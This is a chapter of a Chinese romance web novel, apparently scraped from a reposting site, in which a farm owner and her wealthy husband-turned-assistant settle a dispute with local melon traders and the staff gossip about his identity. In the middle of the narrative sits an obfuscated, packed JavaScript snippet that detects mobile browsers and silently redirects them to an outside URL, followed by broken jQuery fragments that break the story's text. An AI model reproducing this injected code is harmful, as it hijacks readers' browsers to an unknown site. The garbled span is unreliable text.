隔天上午，钱老三和霞姐一帮人如约来到农场。


    池宛棠和秋秋在大门口等，见到人后便领去了会客室。


    裴岘禹正在冉老板办公室里打印资料，小棠安排好光头那拨人后来报信，“思沐姐，裴大哥，他们到了。”


    冉思沐应声起身正要出门，裴岘禹一把抓住她，对小棠吩咐：“知道了，先上茶水，我们等下到。”


    他一手拉着她，一手翻看检查打印的方案，确认内容无误后，一份份都压在了桌角的离婚协议上。


    冉思沐望着出神，突然听他沉声缓缓道：“钱老三有前科，入室盗窃坐过牢，这种人你不要和他硬碰硬。”


    “哦。”


    “不过他虽然行事狂悖，但实际上真正说了算的是他老婆，也就是那位霞姐。”


    她愣了愣，转脸看向泰然自若的男人，“你怎么知道的？”


    裴岘禹轻笑，“谈判，当然要知己知彼，把柄得了解，用不用在我。这帮人的诉求很简单，就为一个钱，和苗家村合作的成本利润我跟二狗算过了，可以让利的部分都写在这里了。”


    冉思沐认真听着，下意识摸进裤子口袋掏了包烟，抖出一根熟练地叼住，但是不点火，“我要怎么做？”


    裴岘禹没答话，垂眼看她脸上强装出的镇定，轻声问：“什么时候学会抽烟了？”


    嘴比脑子快，冉思沐搬出她千篇一律的回复：“不会抽，但是这样看起来比较凶。”


    此话一出，两人都沉默了。


    这是跟谁学的臭毛病呢？


    冉思沐抬眼瞄他，裴岘禹神色如常，只是抬手取下她嘴里的烟，慢慢折断。


    “你只要坚持你的底线和果农利益不退让，把控主导权，剩下的交给我。”


    “好。”


    会客室的长桌旁坐满了人，甚至还有位不知谁邀来的村干部。


    冉思沐在裴岘禹的陪同下入席，开门见山。


    “钱老三，自打我们农场开始香瓜收购后，你就恶意骚扰不断，不但影响了瓜农收入，也坏了咱们两村人的交情，不如今天就开诚布公地谈一谈，看看未来咱们到底是合作双赢，还是掀桌砸碗谁都别想安生吃饭。”


    裴助理顺势递上他刚刚打好的初版方案，笑道：“我们冉老板人脉广渠道多，绝对有这个实力带大家一起赚钱，但前提是得有合作的诚意，您说对不对，霞姐。”


    “那是当然。”


    张红霞坐主位，钱老三在她身边，她淡笑着看向冉思沐旁边那个伏低做小的男人。


    裴岘禹，他什么身份来历根本不用费心打听，网上一搜就全都出来了。


    来之前张红霞特意反复叮嘱钱老三，沉住性子不许闹事，得了便宜见好就收，因为这位裴总放话讲的“颗粒无收”，绝不会只是说着玩玩。


    她接过裴岘禹递来的方案——次级果代理收购和短途运输分包，边看边听他详细耐心地讲解。


    “……次级果的收购标准要低于冉老板的精品果，价格自然也不会很高，精品价范围在每斤三到五元之间，对于次级和非标果，冉老板授权的价格是一块八，虽然单斤利润是低了点，但我们量大稳定，渠道合法，风险更低且收入更可观，霞姐是过来人，这笔账肯定算得明白。”


    一听报价这么低，钱老三有点坐不住了，他猛地拍桌，但被霞姐一个眼神镇住了。


    她望向桌对面，看的并不是冉思沐，笑盈盈地对裴岘禹道：“这个价格确实不高，如果算上分拣损耗和运输成本，我们照样分不到肉汤喝啊。”


    男人气定神闲地轻叩桌面，又递去一份资料，“所以我强调了，我们冉老板大气，她可以包运输到集散点，或者分包给你们咱另算钱，都好商量，不管是按趟次、按距离还是按筐箱，具体方案都写在里面，但有一个前提。”


    裴岘禹看向冉思沐，她心领神会，语气强硬地开口：“价格和收购标准必须严格按照我的来，你们不能擅自压价恶意压榨果农，合同我是跟村里签的，这份协议只是给你们代理权，如果按规矩办事，我们有钱一起赚，如果不接受，那就没什么好谈的了。”


    张红霞安静地翻看方案和协议合同，条约里有一则很是突兀——不得再对冉思沐本人及其农场构成任何形式上的骚扰威胁。


    霞姐瞥了眼对面的一男一女，没有考虑很久，很干脆地签了字。


    冉思沐看着面前被推回等她签字的协议，懵了一瞬，这么顺利吗？


    她转头不太确定地求助裴岘禹，他只轻点下巴，示意她放心大胆地签。


    之后，在村干部的见证下，双方盖章画押。


    纠缠许久的两拨人终于达成合作，霞姐和冉思沐礼貌握手，又绕过长桌，特意走到裴岘禹身边。


    男人正懒懒地窝在椅子里查看文书，面前突然伸来一只手。


    张红霞微微弯腰，裴岘禹侧眼看过去，合上文件收好，不慌不忙地起身回握。


    “也是想不到，我们这些小鱼小虾有一天能跟裴总这样的大人物合作，钱老三他们都是做事莽撞的粗人，之前有冒犯的地方，希望您大人有大量。”


    秋秋池宛棠他们这些早就知情的人并不意外，偃旗息鼓愿意来谈合作的这帮瓜贩子更是不用多说，对此感到吃惊的似乎只有冉思沐和那位旁观的村干部。


    裴岘禹轻轻一笑，四两拨千斤，“我只是冉老板的私人助理。”


    后面的话冉思沐一律没听进去，池宛棠送霞姐他们离开农场，村干部抓着秋秋，经过思沐身边时她听清了窃窃私语：“裴总？什么裴总？这个助理是哪个公司的老总吗？我就说这年轻人看着气度不凡！”


    会客室里的人走光了，只剩埋头整理资料的裴岘禹和站着发呆的冉思沐。


    “我早说了，你就不该掺和，这下好了，要不了多久大家都会知道，年轻的董事少东家、大公司的控股掌权人在这鸟不拉屎的山坳坳里做苦力拉牛粪搞雄竞，说出去光彩吗？”


    他若无其事地耸肩，随口道：“给我自己老婆做事，有什么不光彩的？”


    冉思沐怔怔地看他半晌，一句话没说，也不知想到了什么，她突然撇下裴岘禹离开会客室，骑上三轮追出农场，不多时就赶上了还未走远的张红霞一行人。


    她扬声喊人，“霞姐！”


    张红霞回头一看，见冉思沐正冲她招手，她独自迎上前，“冉老板还有什么要交代的？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122678|170170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冉思沐没有迟疑，果断开口：“我做主，香瓜的收购价格提到两元。”


    霞姐是老油条，直言：“什么条件？”


    “关于裴岘禹，也就是你说的裴总，我希望你们不要搬弄是非，如果我在网上或是在村里听到有人编排他半句，协议立刻作废，我家大业大不怕陪你耗，违约赔偿我也付得起，但你们也别想再挣半个子儿。”


    张红霞噙着笑，眼里有几分欣赏，她细细打量着面前的女人，“妹妹，我懂，我们都是生意人，靠天吃饭，靠人筹谋，裴总出面解决了咱们的恩怨，我感激还来不及呢。”


    冉思沐用力握着车把，静等她下文。


    “损人不利己的事儿我可不干，况且，这位大人物动动手指头就能捏死我们，我不傻，犯不上去恶心他，你放心。”


    “最好是，不然我说到做到。”


    *


    返回农场，刚巧到了中午饭点，大院内围了一堆人，正叽叽喳喳地聊天。


    秋秋坐在无花果树下的石凳上，装出一副潇洒模样，手握一枚象棋子往棋盘上一摔，歪嘴笑道：“‘我们冉老板大气——’”


    话没说完池宛棠猛地一推她，受不了地大叫：“哪有你这么油腻啊！裴大哥那杀伐果断的模样可不是咱们能学来的，人家那都是生意场上沉淀出来的，稳重！自信！”


    川川捧着根煮玉米凑上前，“那可不呢，头衔那么多，就得这样式儿的金龟婿才能配得上咱们老板！”


    曹勇哥挥着大勺从后厨出来，揩了把汗，小声问：“谁啊？小裴啊？他真是那个什么「漾森」旅游的董事啊？我在电视上还看到过这个公司呢……我滴个乖乖。”


    厨师身后还跟着一群嗷嗷待哺的大学生，七嘴八舌地嚷嚷要听八卦。


    川川便把她们猜测拼凑的爱情故事顺了一遍，讲得绘声绘色。


    池宛棠得空到水池边洗手，不经意间瞄到了故事的女主角，她连忙咳嗽清嗓，拼命地给川川秋秋使眼色。


    冉思沐就站在人群最外围，面无表情，她看向她以为的唯一知情者池宛棠，女孩连忙摆手苦笑，“思沐姐，真不是我告密的，我来的时候，大伙儿已经都知道了……”


    “都知道了？知道什么？”


    池宛棠作为冉思沐认识比较久的妹妹，被推为免责发言人，她支支吾吾地说：“知、知道裴大哥的身份来历，和、和你们俩……可能有的……夫妻关系。”


    冉思沐沉默了会儿，突然问：“那之前你们合起伙来告他状，是在跟我演戏？和他串通好的，苦肉计？”


    川川弱弱地反驳一句：“没有没有，不存在串通……”


    别的她们都不敢再说，怕说多错多，偏偏主谋瑞芝姐休假回老家了，池宛棠只好硬着头皮解释：“姐，你别生气，我们也不是故意瞒你，大家都想出个力，帮有情人终成眷属嘛，就是，就是劲儿好像……使歪了。”


    “他人呢？”


    池宛棠看着神情难辨的女人，磕磕巴巴地回：“走、走了，你出门不久，他接了个电话就走了，秦大叔送的。”


    冉思沐点点头，什么都没说。


    她返回自己的办公室，整一天都没再出来过。